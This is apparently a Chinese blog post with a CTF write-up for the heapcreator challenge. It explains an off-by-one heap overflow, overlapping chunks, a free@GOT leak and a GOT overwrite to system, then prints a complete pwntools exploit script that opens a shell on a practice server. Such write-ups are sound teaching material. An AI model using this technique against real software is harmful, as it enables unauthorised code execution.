Unlink hitcontraining_heapcreator

程序分析

先检查下保护,64位程序,只有基本的栈保护

 

 create_heap函数,先创建一个大小为16的结构体,两个成员一个是int size,另一个是char* content

 

 

 edit_heap()函数,有单字节的溢出

 show_heap()函数,打印函数

 

 delete函数,看起来没什么问题

 

 思路分析

1、利用单字节溢出,申请一个x8大小的size,修改下一个堆的size,使得堆重叠

2、堆重叠后,释放,再创建,将free_got覆盖到struct结构体content处

3、通过show函数打印content的内容,获得free_got的地址

4、通过edit修改被修改后的堆,修改为system函数

 

 1 from pwn import *
 2 
 3 #context.log_level='debug'
 4 
 5 #sh=process('./heapcreator')
 6 sh=remote('node3.buuoj.cn',29428)
 7 libc=ELF('./libc-2.23.so')
 8 elf=ELF('./heapcreator')
 9 
10 def create(length,value):
11     sh.recvuntil("Your choice :")
12     sh.sendline("1")
13     sh.recvuntil("Size of Heap :")
14     sh.sendline(str(int(length)))
15     sh.recvuntil("Content of heap:")
16     sh.sendline(value)
17 def edit(index,value):
18     sh.recvuntil("Your choice :")
19     sh.sendline("2")
20     sh.recvuntil("Index :")
21     sh.sendline(str(int(index)))
22     sh.recvuntil("Content of heap : ")
23     sh.sendline(value)
24 def show(index):
25     sh.recvuntil("Your choice :")
26     sh.sendline("3")
27     sh.recvuntil("Index :")
28     sh.sendline(str(int(index)))
29 def delete(index):
30     sh.recvuntil('Your choice :')
31     sh.sendline('4')
32     sh.recvuntil('Index :')
33     sh.sendline(str(int(index)))
34 
35 create(0x18,'pppp')
36 create(0x10,'pppp')
37 create(0x10,'pppp')
38 
39 
40 
41 edit(0,'/bin/sh\x00'+'p'*0x10+'\x81')
42 delete(1)
43 create(0x70,'p'*0x10+p64(0)+p64(0x21)+p64(0x70)+p64(elf.got['free']))
44 show(1)
45 
46 free_addr=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
47 print(free_addr)
48 libc_base=free_addr-libc.symbols['free']
49 system_addr=libc_base+libc.symbols['system']
50 
51 edit(1,p64(system_addr))
52 delete(0)
53 
54 sh.interactive()

 

posted @ 2020-10-25 22:34  PYozo_free  阅读(368)  评论(0编辑  收藏  举报